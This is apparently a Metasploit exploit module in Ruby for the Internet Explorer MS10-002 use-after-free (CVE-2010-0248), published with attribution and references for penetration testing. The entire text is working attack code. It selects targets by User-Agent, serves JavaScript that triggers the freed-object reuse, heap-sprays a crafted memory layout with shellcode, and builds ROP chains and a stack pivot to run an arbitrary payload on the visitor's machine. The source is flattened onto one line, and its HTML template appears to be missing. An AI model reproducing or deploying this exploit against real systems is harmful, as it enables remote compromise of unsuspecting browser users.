## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "MS10-002 Internet Explorer Object Memory Use-After-Free", 'Description' => %q{ This module exploits a vulnerability found in Internet Explorer's mshtml component. Due to the way IE handles objects in memory, it is possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext to be used even after it gets freed, therefore allowing remote code execution under the context of the user. This particular vulnerability was also one of 2012's Pwn2Own challenges, and was later explained by Peter Vreugdenhil with exploitation details. Instead of Peter's method, this module uses heap spraying like the 99% to store a specially crafted memory layout before re-using the freed memory. }, 'License' => MSF_LICENSE, 'Author' => [ 'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup 'juan vazquez', # Metasploit 'sinn3r' # Metasploit ], 'References' => [ [ 'MSB', 'MS10-002'], [ 'CVE', '2010-0248' ], [ 'OSVDB', '61914'], [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ], [ 'ZDI', '10-014'] ], 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ], [ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ] ], 'Privileged' => false, 'DisclosureDate' => "Jan 21 2010", 'DefaultTarget' => 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[1] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ return targets[2] #IE 8 on Windows 7 SP1 with JRE else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent.to_s}") send_not_found(cli) return end print_status("Target selected: #{my_target.name}") js_code = build_javascript(my_target) html = %Q|

| print_status("Sending HTML") send_response(cli, html, {'Content-Type'=>'text/html'}) end def build_javascript(my_target) p = get_payload(my_target) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) # The exploit will try to take up the freed memory # with a fake item before the reuse fake_item = [ junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, 0x0c0c003c, # pointer to c_table_cell junk, junk, junk, 0x0c0c0050, # pointer to c_cache_item junk, junk, ].pack("V*") fake_item_js = Rex::Text.to_unescape(fake_item) # Here start the crafted layout of the memory # which will be sprayed to get code execution # IE 8 => Spray be sprayed into 0c0c0024 memory_layout = [ junk, junk, junk, junk, junk, junk, 0x0c0c0040, # ----- points to 0x0c0c0040 0x0c0c0c0c, # <---| 0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c junk, junk, 0x00000000, # Allows to bypass CTableCell::GetAAcolSpan junk, # Stored at 0c0c0c50 junk, junk, 0x0c0c0078, junk, junk, junk, junk, junk, 0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4) 0x00000001 # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster ].pack("V*") memory_layout_js = Rex::Text.to_unescape(memory_layout) # Steps: # 1. Force the free. # 2. Try to reuse the freed memory with a fake item. # The fake item store crafted pointers to the # memory which will be sprayed on step 3. # 3. Heap Spray: Shellcode + crafted memory layout to # get execution flow when the memory freed in step 1 # is reused in step 4. # 4. Force the memory reuse. spray = <<-JS function Start() { var fake_items = unescape("#{fake_item_js}"); while (fake_items.length < 0x1000) fake_items+= fake_items; var fake_item = fake_items.substring(0, (96-6)/2); var code = unescape("#{js_code}"); var memory_layout = unescape("#{memory_layout_js}") var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length); var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block_shell = shellcode.substring(0, (0x80000-6)/2); var heap = new heapLib.ie(0x20000); var TableClone = document.getElementById('tableid').cloneNode(1); var TableCellUrns = TableClone.cells.urns('a'); var bla = TableClone.cells.item(1); var TableCellUrnsTags = TableCellUrns.tags('a'); TableClone.outerText = 'a'; heap.gc(); for(i = 0; i < 30; i++) { heap.alloc(fake_item); } for (var i=1; i < 0x1C2; i++) { heap.alloc(block_shell); } Result = TableClone.cells; Result = TableCellUrnsTags.item(1); } JS spray = heaplib(spray, {:noobfu => true}) return spray end def junk(n=4) return rand_text_alpha(n).unpack("V").first end # ROP chain + shellcode will be sprayed at 0x0c0c0c0c def get_payload(t) p = make_nops(46) p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes p << [t.ret].pack("V") # Stack Pivot p << payload.encoded case t['Rop'] when :msvcrt rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'}) else rop_payload = generate_rop_payload('java', p) end return rop_payload end end =begin (694.cc0): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 kernel32!WriteProcessMemory+0x6d: 7c8022cf cc int 3 =end